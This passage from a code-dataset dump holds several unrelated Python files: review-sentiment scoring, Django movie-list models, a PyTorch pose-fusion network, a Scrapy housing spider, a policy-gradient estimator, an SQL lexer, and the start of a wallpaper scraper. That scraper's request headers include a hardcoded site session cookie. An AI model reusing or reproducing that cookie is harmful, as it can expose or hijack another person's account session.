abs_score[0] == abs_score[1]:\n scoretotal = scoretotal + int(min(scorenum))\n else:\n scoretotal = scoretotal + int(scorenum[abs_score.index(max(abs_score))])\n\n feature_score.append(word[0] + ' ' + word[1])\n\n return feature_score\n\n def timeColname(self, df3, appname, time):\n colname = []\n app = df3[(df3['product_name'] == appname)]\n enddate = max(app['review_date'])\n startdate = min(app['review_date'])\n datecut = []\n date = startdate\n if time <= 0:\n print('时间段太短')\n print(app['review_date'])\n return\n else:\n while date <= enddate:\n datecut.append(date)\n date = date + timedelta(time)\n\n for i in range(len(datecut) - 1):\n colname.append(str(datecut[i]).split(' ')[0])\n\n return colname\n\n def outputdata(self, df3, reviewword, appname, reviewsRating):\n colname = []\n app = df3[(df3['product_name'] == appname)]\n enddate = max(app['review_date'])\n startdate = min(app['review_date'])\n datecut = []\n date = startdate\n reviewsweek = []\n if (enddate - startdate) / timedelta(7) < 20:\n time = int((enddate - startdate) / timedelta(20))\n else:\n time = 7\n print('time', time)\n if time <= 0:\n print('时间段太短')\n print(app['review_date'])\n return\n else:\n while date <= enddate:\n datecut.append(date)\n date = date + timedelta(time)\n\n for i in range(len(datecut) - 1):\n print(i)\n colname.append(str(datecut[i]).split(' ')[0])\n reviewsweek.append([text for text in app[((app['review_date'] >= datecut[i]) & (app['review_date'] < datecut[(i + 1)]))]['review_text']])\n\n feature_scorelist = []\n for reviewlist in reviewsweek:\n featurecol = self.Cole(self.pretreat(reviewlist, reviewword))\n sentiment = self.RateSentiment(reviewlist)\n scorefeature = self.scoredfeature(sentiment, reviewword)\n print(scorefeature)\n feature_score = self.featurescored(featurecol, scorefeature)\n feature_scorelist.append(feature_score)\n\n print(feature_scorelist)\n Originreviewweeks = []\n for feature_score in feature_scorelist:\n Originreview = []\n if len(feature_score) > 3:\n index = 3\n else:\n index = len(feature_score)\n for i in feature_score[0:index]:\n originreview = []\n featureword = []\n print(i.split(',')[0].split(' '))\n for t in list(set(reviewlist)):\n try:\n if (i.split(',')[0].split(' ')[0] in list(self.flatten(self.pretreat([t])))) & (i.split(',')[0].split(' ')[1] in list(self.flatten(self.pretreat([t])))) & (list(self.flatten(self.pretreat([t]))) not in featureword):\n print(t)\n featureword.append(list(self.flatten(self.pretreat([t]))))\n originreview.append(t)\n else:\n continue\n except:\n print('error')\n\n try:\n if originreview != []:\n Originreview.append(min(originreview, key=len))\n except:\n continue\n\n Originreviewweeks.append(Originreview)\n\n time_feature = {}\n for t in range(len(colname)):\n time_feature[colname[t]] = feature_scorelist[t][0:5]\n\n reviewsweek_feature = []\n colname1 = []\n time = 7\n datecut_feature = []\n date = startdate\n while date <= enddate:\n datecut_feature.append(date)\n date = date + timedelta(time)\n\n for i in range(len(datecut_feature) - 1):\n print(i)\n colname1.append(str(datecut_feature[i]).split(' ')[0])\n reviewsweek_feature.append(app[((app['review_date'] >= datecut_feature[i]) & (app['review_date'] < datecut_feature[(i + 1)]))]['review_text'].values)\n\n print(reviewsweek_feature)\n feature_dist_lists = {}\n for i in range(len(colname1) - 1):\n featurecol = self.Cole(self.pretreat(list(set(reviewsweek_feature[i])), reviewword))\n sentiment = self.RateSentiment(reviewsweek_feature[i])\n scorefeature = self.scoredfeature(sentiment, reviewword)\n feature_score = self.featurescored(featurecol, scorefeature)\n feature_dist_list = []\n if len(feature_score) > 5:\n l = 5\n else:\n l = len(feature_score)\n for j in range(l):\n feature_dist = {}\n feature_dist['value'] = float(feature_score[j].split(',')[1])\n feature_dist['name'] = feature_score[j].split(',')[0] + '(' + feature_score[j].split(',')[2].replace(' ', '') + ')'\n feature_dist_list.append(feature_dist)\n\n feature_dist_lists[colname1[i]] = feature_dist_list\n\n print(feature_dist_lists)\n return (\n time_feature, feature_dist_lists, Originreviewweeks)","sub_path":"pycfiles/app_scraper-0.0.5-py3-none-any/reviewPretreate.cpython-36.py","file_name":"reviewPretreate.cpython-36.py","file_ext":"py","file_size_in_byte":17422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"362830002","text":"# -*- coding: utf-8 -*-\nimport facebook\nimport vkontakte\n# Not using django-mysql instead because it's not supported by modeltranslation.\nfrom annoying.fields import JSONField\nfrom django.conf import settings\nfrom django.contrib.auth.models import AbstractUser, AnonymousUser\nfrom django.contrib.auth.signals import user_logged_in\nfrom django.core.cache import cache\nfrom django.db import models\nfrom django.dispatch import receiver\nfrom django.utils.translation import LANGUAGE_SESSION_KEY, gettext_lazy as _\n\n\nclass Vk:\n def __init__(self, user):\n vk_account = user.get_vk_account()\n self.vk = vkontakte.API(*settings.VK_BACKENDS_CREDENTIALS[vk_account.provider])\n self.vk_id = vk_account.uid\n self.user = user\n\n def get_friends(self):\n friends = cache.get('vk_friends')\n if friends is None:\n friends = self.vk.friends.get(uid=self.vk_id)\n cache.set('vk_friends', friends)\n friends_ids = map(str, friends)\n\n # We need to use distinct here because the same user can have several VK backends (both app and oauth)\n friends = User.objects.filter(\n social_auth__provider__in=settings.VK_BACKENDS, social_auth__uid__in=friends_ids).distinct()\n return friends\n\n def get_data(self, fields):\n return self.vk.getProfiles(uids=self.vk_id, fields=','.join(fields))[0]\n\n\nclass Fb:\n def __init__(self, user):\n access_token = user.get_fb_account().extra_data['access_token']\n self.fb = facebook.GraphAPI(access_token=access_token, version='2.7')\n\n def get_friends(self):\n friends = cache.get('fb_friends')\n if friends is None:\n friends = self.fb.get_connections(id='me', connection_name='friends')['data']\n cache.set('fb_friends', friends)\n friends_ids = [f['id'] for f in friends]\n friends = User.objects.filter(social_auth__provider='facebook', social_auth__uid__in=friends_ids)\n return friends\n\n\ndef activate_user_language_preference(request, lang):\n request.session[LANGUAGE_SESSION_KEY] = lang\n\n\ndef get_poster_url(size, poster):\n if size == 'small':\n poster_size = settings.POSTER_SIZE_SMALL\n no_image_url = settings.NO_POSTER_SMALL_IMAGE_URL\n elif size == 'normal':\n poster_size = settings.POSTER_SIZE_NORMAL\n no_image_url = settings.NO_POSTER_NORMAL_IMAGE_URL\n elif size == 'big':\n poster_size = settings.POSTER_SIZE_BIG\n no_image_url = None # is not used anywhere\n if poster is not None:\n return settings.POSTER_BASE_URL + poster_size + '/' + poster\n return no_image_url\n\n\nclass UserBase:\n def get_movie_ids(self):\n return self.get_records().values_list('movie__pk')\n\n def get_records(self):\n if self.is_authenticated:\n return self.records.all()\n else:\n return Record.objects.none()\n\n def get_record(self, id_):\n return self.get_records().get(pk=id_)\n\n def _get_fb_accounts(self):\n return self.social_auth.filter(provider='facebook')\n\n def is_fb_user(self):\n if self.is_authenticated:\n return self._get_fb_accounts().exists()\n return False\n\n def get_fb_account(self):\n if self.is_fb_user():\n return self._get_fb_accounts()[0]\n\n def _get_vk_accounts(self):\n return self.social_auth.filter(provider__in=settings.VK_BACKENDS)\n\n def get_vk_account(self):\n if self.is_vk_user():\n return self._get_vk_accounts()[0]\n\n def is_vk_user(self):\n \"\"\"\n Show if a user has a vk account.\n\n It doesn't necessarily mean that he is currently using the app.\n Note: currently it does because it is not possible to link a vk-app account and a website account.\n But it is likely to change in the future.\n \"\"\"\n if self.is_authenticated:\n return self._get_vk_accounts().exists()\n return False\n\n def is_linked(self):\n if self.is_authenticated:\n return self.social_auth.exists()\n return False\n\n def get_users(self, friends=False, sort=False):\n if friends:\n return self.get_friends(sort=sort)\n return self._get_available_users_and_friends(sort=sort)\n\n def _get_available_users_and_friends(self, sort=False):\n available_users = User.objects.exclude(only_for_friends=True).exclude(pk=self.pk)\n # We need distinct here because we can't concatenate distinct and non-distinct querysets.\n users = available_users.distinct() | self.get_friends()\n if sort:\n users = users.order_by('first_name')\n return list(set(users))\n\n def get_vk(self):\n if self.is_vk_user():\n return Vk(self)\n\n def get_friends(self, sort=False):\n friends = User.objects.none()\n if self.is_linked:\n if self.is_vk_user():\n friends |= self.get_vk().get_friends()\n if self.is_fb_user():\n friends |= Fb(self).get_friends()\n if sort:\n friends = friends.order_by('first_name')\n return friends\n\n def has_friends(self):\n return self.get_friends().exists()\n\n\nclass User(AbstractUser, UserBase):\n only_for_friends = models.BooleanField(\n verbose_name=_('Privacy'), default=False, help_text=_('Show my lists only to friends'))\n language = models.CharField(max_length=2, choices=settings.LANGUAGES, default='en', verbose_name=_('Language'))\n location = models.CharField(max_length=100, null=True, blank=True, verbose_name=_('Location'))\n avatar_small = models.URLField(null=True, blank=True)\n avatar_big = models.URLField(null=True, blank=True)\n loaded_initial_data = models.BooleanField(default=False)\n\n def __str__(self):\n name = self.get_full_name()\n if name:\n return name\n else:\n return self.username\n\n def _get_movies_number(self, list_id):\n return self.get_records().filter(list_id=list_id).count()\n\n @property\n def movies_watched_number(self):\n return self._get_movies_number(List.WATCHED)\n\n @property\n def movies_to_watch_number(self):\n return self._get_movies_number(List.TO_WATCH)\n\n\nclass UserAnonymous(AnonymousUser, UserBase):\n def __init__(self, request): # pylint: disable=unused-argument\n super().__init__()\n\n\nclass List(models.Model):\n WATCHED = 1\n TO_WATCH = 2\n name = models.CharField(max_length=255)\n key_name = models.CharField(max_length=255)\n\n def __str__(self):\n return self.name\n\n\nclass Movie(models.Model):\n title = models.CharField(max_length=255)\n title_original = models.CharField(max_length=255)\n country = models.CharField(max_length=255, null=True, blank=True)\n description = models.TextField(null=True, blank=True)\n director = models.CharField(max_length=255, null=True, blank=True)\n writer = models.CharField(max_length=255, null=True, blank=True)\n genre = models.CharField(max_length=255, null=True, blank=True)\n actors = models.CharField(max_length=255, null=True, blank=True)\n imdb_id = models.CharField(max_length=15, unique=True, db_index=True)\n tmdb_id = models.IntegerField(unique=True)\n imdb_rating = models.DecimalField(max_digits=2, decimal_places=1, null=True)\n poster = models.CharField(max_length=255, null=True)\n release_date = models.DateField(null=True)\n runtime = models.TimeField(null=True, blank=True)\n homepage = models.URLField(null=True, blank=True)\n trailers = JSONField(null=True, blank=True)\n\n class Meta:\n ordering = ['pk']\n\n def __str__(self):\n return self.title\n\n def imdb_url(self):\n return settings.IMDB_BASE_URL + self.imdb_id + '/'\n\n def get_trailers(self):\n if self.trailers:\n return self.trailers\n else:\n return self.trailers_en\n\n def has_trailers(self):\n return bool(self.get_trailers())\n\n def _get_poster(self, size):\n return get_poster_url(size, self.poster)\n\n @property\n def poster_normal(self):\n return self._get_poster('normal')\n\n @property\n def poster_small(self):\n return self._get_poster('small')\n\n @property\n def poster_big(self):\n return self._get_poster('big')\n\n @property\n def id_title(self):\n return f'{self.pk} - {self}'\n\n def cli_string(self, last_movie_id):\n \"\"\"\n Return string version for CLI.\n\n We need last_movie_id because we want to know how big is the number (in characters) to be able to make\n perfect formatting.\n We need to keep last_movie_id as a parameter because otherwise we hit the database every time we run the\n function.\n \"\"\"\n MAX_CHARS = 40\n ENDING = '..'\n id_format = '{0: < %d}' % (len(str(last_movie_id)) + 1)\n title = str(self)\n title = (title[:MAX_CHARS] + ENDING) if len(title) > MAX_CHARS else title\n id_ = id_format.format(self.pk)\n title_max_length = MAX_CHARS + len(ENDING)\n title_format = '{:%ds}' % title_max_length\n title = title_format.format(title)\n return f'{id_} - {title}' [1:]\n\n\nclass Record(models.Model):\n user = models.ForeignKey(User, models.CASCADE, related_name='records')\n movie = models.ForeignKey(Movie, models.CASCADE, related_name='records')\n list = models.ForeignKey(List, models.CASCADE)\n rating = models.IntegerField(default=0)\n comment = models.CharField(max_length=255, default='')\n date = models.DateTimeField(auto_now_add=True)\n watched_original = models.BooleanField(default=False)\n watched_extended = models.BooleanField(default=False)\n watched_in_theatre = models.BooleanField(default=False)\n watched_in_hd = models.BooleanField(default=False)\n watched_in_full_hd = models.BooleanField(default=False)\n watched_in_4k = models.BooleanField(default=False)\n learned_words = models.BooleanField(default=False)\n\n def __str__(self):\n return self.movie.title\n\n def save(self, *args, **kwargs):\n if self.watched_in_4k:\n self.watched_in_hd = True\n self.watched_in_full_hd = True\n super().save(*args, **kwargs)\n\n\nclass Action(models.Model):\n ADDED_MOVIE = 1\n CHANGED_LIST = 2\n ADDED_RATING = 3\n ADDED_COMMENT = 4\n name = models.CharField(max_length=255)\n\n def __str__(self):\n return self.name\n\n\nclass ActionRecord(models.Model):\n user = models.ForeignKey(User, models.CASCADE, related_name='actions')\n action = models.ForeignKey(Action, models.CASCADE)\n movie = models.ForeignKey(Movie, models.CASCADE)\n list = models.ForeignKey(List, models.CASCADE, blank=True, null=True)\n comment = models.CharField(max_length=255, blank=True, null=True)\n rating = models.IntegerField(blank=True, null=True)\n date = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return f'{self.movie.title} {self.action.name}'\n\n\n@receiver(user_logged_in)\ndef lang(**kwargs):\n activate_user_language_preference(kwargs['request'], kwargs['user'].language)\n","sub_path":"src/moviesapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":11107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"534692857","text":"import torch\nimport pytorch_lightning as pl\nfrom torch import nn\nfrom models.unet.blocks import ResidualBlock, TemporalResidualBlock, Encoder, Decoder\n\nclass FusionNet(pl.LightningModule):\n '''\n An encoder structure that have a hardcoded depth and fixed recpetive field.\n Currently, only support depth of 4 and receptive field of 15\n '''\n def __init__(self, in_channels: int, out_channels: int,num_feature:int, input_frame:int, epipolar_transfomer:nn.Module=None) -> None:\n super().__init__()\n depth = 4\n encoder_kernel_size = (3,3,3)\n input_frame_at_depth = input_frame\n # encoder_kernel_size = (3,3,1)\n decoder_kernel_size = (3,3,1)\n f_maps = [num_feature * pow(2,i) for i in range(0, depth)]\n encoders = []\n decoders = []\n \n for i in range(depth):\n dilation = pow(2,i)\n eff_k = self.effective_kernel_size(encoder_kernel_size[2], dilation)\n if input_frame_at_depth <= 1:\n dilation = 1\n encoder_kernel_size = (3,3,1)\n if i == 0:\n # encoder = Encoder(TemporalResidualBlock, in_channels, f_maps[i], encoder_kernel_size, pow(2,i), apply_pooling = False)\n encoder = Encoder(TemporalResidualBlock, in_channels, f_maps[i], encoder_kernel_size, dilation, apply_pooling = False)\n else:\n # encoder = Encoder(TemporalResidualBlock, f_maps[i-1], f_maps[i], encoder_kernel_size, pow(2,i), apply_pooling = True, pool_kernel = (2,2,1))\n encoder = Encoder(TemporalResidualBlock, f_maps[i-1], f_maps[i], encoder_kernel_size, dilation, apply_pooling = True, pool_kernel = (2,2,1))\n input_frame_at_depth = self.output_size(input_frame_at_depth, eff_k)\n encoders.append(encoder)\n \n reversed_f_maps = list(reversed(f_maps))\n for i in range(len(reversed_f_maps) - 1):\n in_feature_num = reversed_f_maps[i]\n decoder = Decoder(TemporalResidualBlock, in_feature_num, reversed_f_maps[i+1], decoder_kernel_size, 1, scale_factor = (2,2,1))\n decoders.append(decoder)\n\n self.encoders = nn.ModuleList(encoders)\n self.decoders = nn.ModuleList(decoders)\n self.epipolar = epipolar_transfomer\n self.last_conv = ResidualBlock(f_maps[0], out_channels, (3,3,1), 1, use_batch_norm=False)\n \n def forward(self, x, proj_mat=None, imgs = None, keypoints = None):\n '''\n Forward pass each camera view indidvidually, the model will share weight across different view\n params\\n\n x: with 6 dimensions [batch, num_joints, height, width, num_views, num_frames]\n proj_mat: 3-by-4 projection matrix that composed by KRT matrices [batch, 3, 4, num_views]\n '''\n results = []\n feats = []\n num_view = x.size(4)\n input_view = [x[:,:,:,:,k,:] for k in range(num_view)]\n for k in range(num_view):\n encoders_features = []\n out = input_view[k]\n for encoder in self.encoders:\n out = encoder(out)\n encoders_features.insert(0, out)\n \n encoders_features = encoders_features[1:]\n for decoder, encoder_features in zip(self.decoders, encoders_features):\n encoder_features = torch.mean(encoder_features, dim = 4, keepdim=True)\n out = decoder(out, encoder_features)\n\n feats.append(out.squeeze(dim=4))\n \n if self.epipolar != None and proj_mat != None:\n unfused = []\n ref_feat = feats[0]\n ref_p = proj_mat[:,:,:,0]\n fuse_sum = torch.zeros(ref_feat.size()).to(ref_feat)\n for j in range(1, len(feats)):\n src_feat = feats[j]\n src_p = proj_mat[:,:,:,j]\n fuse = self.epipolar(ref_feat, src_feat, ref_p, src_p, \n imgs[...,0] if imgs != None else None,\n imgs[...,j] if imgs != None else None,\n keypoints[..., 0] if keypoints != None else None,\n keypoints[..., 1] if keypoints != None else None)\n fuse_sum += fuse\n \n fuse_sum = self.last_conv(fuse_sum.view(*fuse_sum.size(),1))\n\n for i in range(0,len(feats)):\n unfused.append(self.last_conv(feats[i].view(*feats[i].size(),1)))\n unfused = torch.cat(unfused, dim=4)\n return fuse_sum.view(*fuse_sum.size(),1), unfused.view(*unfused.size(),1)\n else:\n for j in range(0, len(feats)):\n ref_feat = feats[j]\n ref_feat = ref_feat.view(*ref_feat.size(),1)\n results.append(self.last_conv(ref_feat))\n return torch.stack(results, dim=4)\n \n def effective_kernel_size(self, kernel_size, dilation):\n return kernel_size + (kernel_size-1)*(dilation -1)\n \n def output_size(self, input_size, kernel_size):\n return input_size - kernel_size + 1\n class InputLayer(nn.Module):\n def __init__(self, in_channels, out_channels) -> None:\n super().__init__()\n self.conv1 = nn.Sequential(\n nn.Conv3d(in_channels, out_channels, kernel_size=(1, 1, 1)),\n nn.BatchNorm3d(out_channels),\n nn.ReLU())\n self.conv2 = nn.Sequential(\n nn.Conv3d(out_channels, out_channels,\n kernel_size=(1, 1, 1), dilation=(1, 1, 1)),\n nn.BatchNorm3d(out_channels),\n nn.ReLU())\n self.conv3 = nn.Sequential(\n nn.Conv3d(out_channels, out_channels,\n kernel_size=(1, 1, 1), dilation=(1, 1, 1)),\n nn.BatchNorm3d(out_channels),\n nn.ReLU())\n\n def forward(self, x):\n residual = self.conv1(x)\n x = self.conv1(x)\n x = self.conv2(x)\n x = self.conv3(x)\n x = x + residual\n return x","sub_path":"src/models/fusion_net/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"564683171","text":"# -*- coding: utf-8 -*-\n# 二手房信息爬虫\n\nimport scrapy\nimport time\nfrom lxml import etree\nfrom BeikeSpider.libs.const import *\nfrom BeikeSpider.libs.url import *\nfrom BeikeSpider.libs.printer import *\nfrom BeikeSpider.items import BeikespiderErShouFangItem\n\nclass ErshoufangSpider(scrapy.Spider):\n name = 'ershoufang'\n allowed_domains = KE_DOMAIN\n start = time.time()\n start_urls = []\n city = None\n\n\n def __init__(self):\n # 只有第一次进来才初始化urk列表\n if len(ErshoufangSpider.start_urls) == 0:\n url = URL(ErshoufangSpider.name)\n ErshoufangSpider.start_urls = url.start_urls\n ErshoufangSpider.city = url.city\n\n\n def close(self, reason):\n \"\"\"\n 结束的时候计时\n :param reason:\n :return:\n \"\"\"\n print_time_cost(time.time()-self.start)\n\n def parse(self, response):\n \"\"\"\n 针对每一个URL进行处理\n :param response:\n :return:\n \"\"\"\n item = BeikespiderErShouFangItem()\n html = response.body\n HTML = etree.HTML(html)\n\n # 获得所有二手房的信息\n elements = HTML.xpath('//li[@class=\"clear\"]')\n print_item_num(len(elements))\n for element in elements:\n title = element.xpath('./div/div[@class=\"title\"]/a/@title')[0]\n price = element.xpath('string(./div/div[@class=\"address\"]/div[5]/div[1])')\n\n\n item['name'] = title\n item['price'] = price\n yield item\n\n\n\n\n\n\n","sub_path":"BeikeSpider/build/lib/BeikeSpider/spiders/ershoufang.py","file_name":"ershoufang.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"91153010","text":"from typing import Any, List\nfrom torch.optim import Adam\nfrom torch.nn import Sequential, Softmax, Linear, Tanh\nfrom torch import FloatTensor, multinomial, Tensor\nfrom torch import sum as torch_sum\nfrom torch.distributions import Categorical\nimport numpy as np\nfrom pydeeprecsys.rl.neural_networks.base_network import BaseNetwork\n\n\nclass PolicyEstimator(BaseNetwork):\n \"\"\"Estimates the policy function: the probability of each action being the\n best decision in a particular state.\"\"\"\n\n def __init__(\n self,\n input_size: int,\n hidden_layers: List[int],\n output_size: int,\n learning_rate=1e-2,\n ):\n super().__init__()\n layers = [input_size] + hidden_layers + [output_size]\n architecture = []\n for i in range(len(layers) - 2):\n architecture.append(Linear(layers[i], layers[i + 1]))\n architecture.append(Tanh())\n architecture.append(Linear(layers[-2], layers[-1]))\n architecture.append(Softmax(dim=-1))\n self.model = Sequential(*architecture)\n self.optimizer = Adam(self.parameters(), lr=learning_rate)\n if self.device == \"cuda\":\n self.model.cuda()\n\n def action_probabilities(self, state: Any):\n return self.model(FloatTensor(state))\n\n def predict(self, state: Any, k: int = 1) -> List[int]:\n probabilities = self.action_probabilities(state)\n prediction = multinomial(probabilities, num_samples=k, replacement=False)\n if self.device == \"cuda\":\n return prediction.detach().cpu().numpy()\n else:\n return prediction.detach().numpy()\n\n def update(self, state: np.array, reward_baseline: Tensor, action: np.array):\n state_tensor = FloatTensor(state).to(device=self.device)\n action_tensor = FloatTensor(np.array(action, dtype=np.float32)).to(\n device=self.device\n )\n \"\"\" Update logic from the Policy Gradient theorem. \"\"\"\n action_probabilities = self.model(state_tensor)\n action_distribution = Categorical(action_probabilities)\n selected_log_probabilities = action_distribution.log_prob(action_tensor)\n loss = torch_sum(-selected_log_probabilities * reward_baseline)\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n if self.device == \"cuda\":\n return loss.detach().cpu().numpy()\n else:\n return loss.detach().numpy()\n","sub_path":"pydeeprecsys/rl/neural_networks/policy_estimator.py","file_name":"policy_estimator.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"497748723","text":"#\n# This source file is part of the EdgeDB open source project.\n#\n# Copyright 2014-present MagicStack Inc. and the EdgeDB authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\nimport re\n\nfrom edb.lang.common import lexer\nfrom .keywords import pg_keywords\n\n__all__ = ('PgSQLLexer', )\n\nSTATE_KEEP = 0\nSTATE_BASE = 1\n\nre_exppart = r\"(?:[eE](?:[+\\-])?[0-9]+)\"\nre_self = r'[,()\\[\\].;:+\\-*/%^<>=]'\nre_opchars = r\"[~!@\\#&|`?+\\-*/%^<>=]\"\nre_opchars_pgsql = r'[~!@\\#&|`?]'\nre_opchars_sql = r'[+\\-*/^%<>=]'\nre_ident_start = r\"[A-Za-z\\200-\\377_]\"\nre_ident_cont = r\"[A-Za-z\\200-\\377_0-9\\$]\"\n\nclean_string = re.compile(r\"'(?:\\s|\\n)+'\")\n\nRule = lexer.Rule\n\n\nclass PgSQLLexer(lexer.Lexer):\n\n start_state = STATE_BASE\n\n NL = frozenset('NL')\n MULTILINE_TOKENS = frozenset(('COMMENT', 'SCONST'))\n RE_FLAGS = re.X | re.M | re.I\n\n # Basic keywords\n keyword_rules = [\n Rule(\n token='KEYWORD', next_state=STATE_KEEP,\n regexp=lexer.group(*pg_keywords.keys()))\n ]\n\n common_rules = keyword_rules + [\n Rule(token='WS', next_state=STATE_KEEP, regexp=r'[^\\S\\n]+'),\n Rule(token='NL', next_state=STATE_KEEP, regexp=r'\\n'),\n Rule(\n token='COMMENT', next_state=STATE_KEEP, regexp=r'''\n (?:/\\*(?:.|\\n)*?\\*/)\n | (?:--.*?$)\n '''),\n Rule(token='TYPECAST', next_state=STATE_KEEP, regexp=r'::'),\n\n # multichar ops (so 2+ chars)\n Rule(\n token='Op', next_state=STATE_KEEP, regexp=r'''\n # EdgeQL-specific multi-char ops\n {opchar_pg} (?:{opchar}(?!/\\*|--))+\n |\n (?:{opchar}(?!/\\*|--))+ {opchar_pg} (?:{opchar}(?!/\\*|--))*\n |\n # SQL-only multi-char ops cannot end in + or -\n (?:{opchar_sql}(?!/\\*|--))+[*/^%<>=]\n '''.format(\n opchar_pg=re_opchars_pgsql, opchar=re_opchars,\n opchar_sql=re_opchars_sql)),\n\n # PgSQL single char ops\n Rule(token='Op', next_state=STATE_KEEP, regexp=re_opchars_pgsql),\n\n # SQL ops\n Rule(token='self', next_state=STATE_KEEP, regexp=re_self),\n Rule(\n token='FCONST', next_state=STATE_KEEP, regexp=r\"\"\"\n (?: \\d+ (?:\\.\\d*)?\n |\n \\. \\d+\n ) {exppart}\n \"\"\".format(exppart=re_exppart)),\n Rule(\n token='FCONST', next_state=STATE_KEEP, regexp=r'''\n (?: \\d+\\.(?!\\.)\\d*\n |\n \\.\\d+)\n '''),\n Rule(token='ICONST', next_state=STATE_KEEP, regexp=r'\\d+'),\n Rule(\n token='BCONST', next_state=STATE_KEEP, regexp=r'''\n B'(?:\n [01]\n |\n ''\n |\n ' (?:\\s*\\n\\s*) '\n )*'\n '''),\n Rule(\n token='XCONST', next_state=STATE_KEEP, regexp=r'''\n X'(?:\n [\\da-fA-F]\n |\n ''\n |\n ' (?:\\s*\\n\\s*) '\n )*'\n '''),\n\n # don't have extra checks for correct escaping inside\n Rule(\n token='SCONST', next_state=STATE_KEEP, regexp=r'''\n [nNeE]?\n '(?:\n [^']\n |\n ''\n |\n ' (?:\\s*\\n\\s*) '\n )*'\n '''),\n\n # dollar quoted strings\n Rule(\n token='DQCONST', next_state=STATE_KEEP, regexp=r'''\n \\$(?P (?:{ident_start}{ident_cont}*)? )\\$\n .*?\n \\$(?P=dq)\\$\n '''.format(\n ident_start=re_ident_start, ident_cont=re_ident_cont)),\n\n # specifying custom escape character\n Rule(\n token='UESCAPE', next_state=STATE_KEEP,\n regexp=r\"\"\"UESCAPE\\s+'[^a-fA-F\\d\\s+'\"]'\"\"\"),\n\n # quoted identifier\n Rule(\n token='QIDENT', next_state=STATE_KEEP, regexp=r'''\n (?:U&)?\n \"(?:\n [^\"]\n |\n \"\"\n )+\"\n '''.format(\n ident_start=re_ident_start, ident_cont=re_ident_cont)),\n Rule(token='PARAM', next_state=STATE_KEEP, regexp=r'\\$\\d+'),\n Rule(\n token='IDENT', next_state=STATE_KEEP, regexp=r'''\n {ident_start}{ident_cont}*\n '''.format(\n ident_start=re_ident_start, ident_cont=re_ident_cont)),\n ]\n\n states = {STATE_BASE: common_rules, }\n\n def token_from_text(self, rule_token, txt):\n tok = super().token_from_text(rule_token, txt)\n\n if rule_token == 'self':\n tok = tok._replace(type=txt)\n\n elif rule_token == 'IDENT':\n tok = tok._replace(value=txt.lower())\n\n elif rule_token == 'KEYWORD':\n # process keywords here since having separate rules for them\n # creates > 100 re groups.\n txt_low = txt.lower()\n tok = tok._replace(\n value=txt_low,\n type=pg_keywords[txt_low][0])\n\n elif rule_token in ('SCONST', 'BCONST', 'XCONST'):\n txt = txt[:-1].split(\"'\", 1)[1]\n txt = clean_string.sub('', txt.replace(\"''\", \"'\"))\n tok = tok._replace(value=txt)\n\n elif rule_token == 'PARAM':\n tok = tok._replace(value=txt[1:])\n\n elif rule_token == 'QIDENT':\n tok = tok._replace(\n type='IDENT',\n value=txt[:-1].split('\"', 1)[1])\n\n elif rule_token == 'DQCONST':\n txt = txt.rsplit(\"$\", 2)[2]\n txt = txt.split(\"$\", 2)[2]\n tok = tok._replace(type='SCONST', value=txt)\n\n return tok\n","sub_path":"edb/server/pgsql/parser/lexer.py","file_name":"lexer.py","file_ext":"py","file_size_in_byte":6466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"539630654","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\nimport asyncio\nfrom time import time\nfrom threading import Thread\nimport re\nheaders={'Host': 'alpha.wallhaven.cc',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',\n'Accept': 'text/html, */*; q=0.01',\n'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\n'X-Requested-With': 'XMLHttpRequest',\n'Connection': 'keep-alive',\n'Cookie': '__cfduid=da85f62f8ad370790acbb1b7cf4c4a5521519099443; _ga=GA1.2.1086478473.1523436614; _pk_id.1.1f04=c1c4d71145eec100.1538353862.7.1540603088.1540603087.; _pk_ref.1.1f04=%5B%22%22%2C%22%22%2C1540603087%2C%22https%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3Dc0teaOQgvwcp77rd5mv-EyVE0FijzvXm3bzXENNMnZdLzOT_YXnI0G1rEiHdSXQ3%26wd%3D%26eqid%3Da3fca97d00049299000000035bbaafc2%22%5D; wallhaven_session=eyJpdiI6IkVJcis1UzFjMHJ3dVwvWFZBSnVcL1BXMTM5a0s0cXZ4TjRBS0tlZWluZzdtcz0iLCJ2YWx1ZSI6IktXcUdmRTNBNjdocFM5ek1mWkd4eGFJM0VhWWU1aG1KQXBINGRPMmpyZmJPY0wxU1wvdDBWOWowcjZBSXg2c1M3eFlNOUxoOXdvZHhqTG5VYm11VTd4QT09IiwibWFjIjoiZTg1ZDRjY2E4NmU4NjZlMzgyMjIyMTM3MTlkZjBhYWRlMWVhN2IwOTI0YTAxNzdhYTNjNjM1Zjk4YTMyNmNmMiJ9; _pk_ses.1.1f04=*'}\ndef down_img(url):\n res=requests.get(url).text\n soup=BeautifulSoup(res,'lxml')\n comp=re.compile(r'id=\"wallpaper\" src=\"//wallpapers.wallhaven.cc/wallpapers/full/wallhaven-(\\d+).jpg\"') \n name=re.findall(comp,str(soup))[0]\n 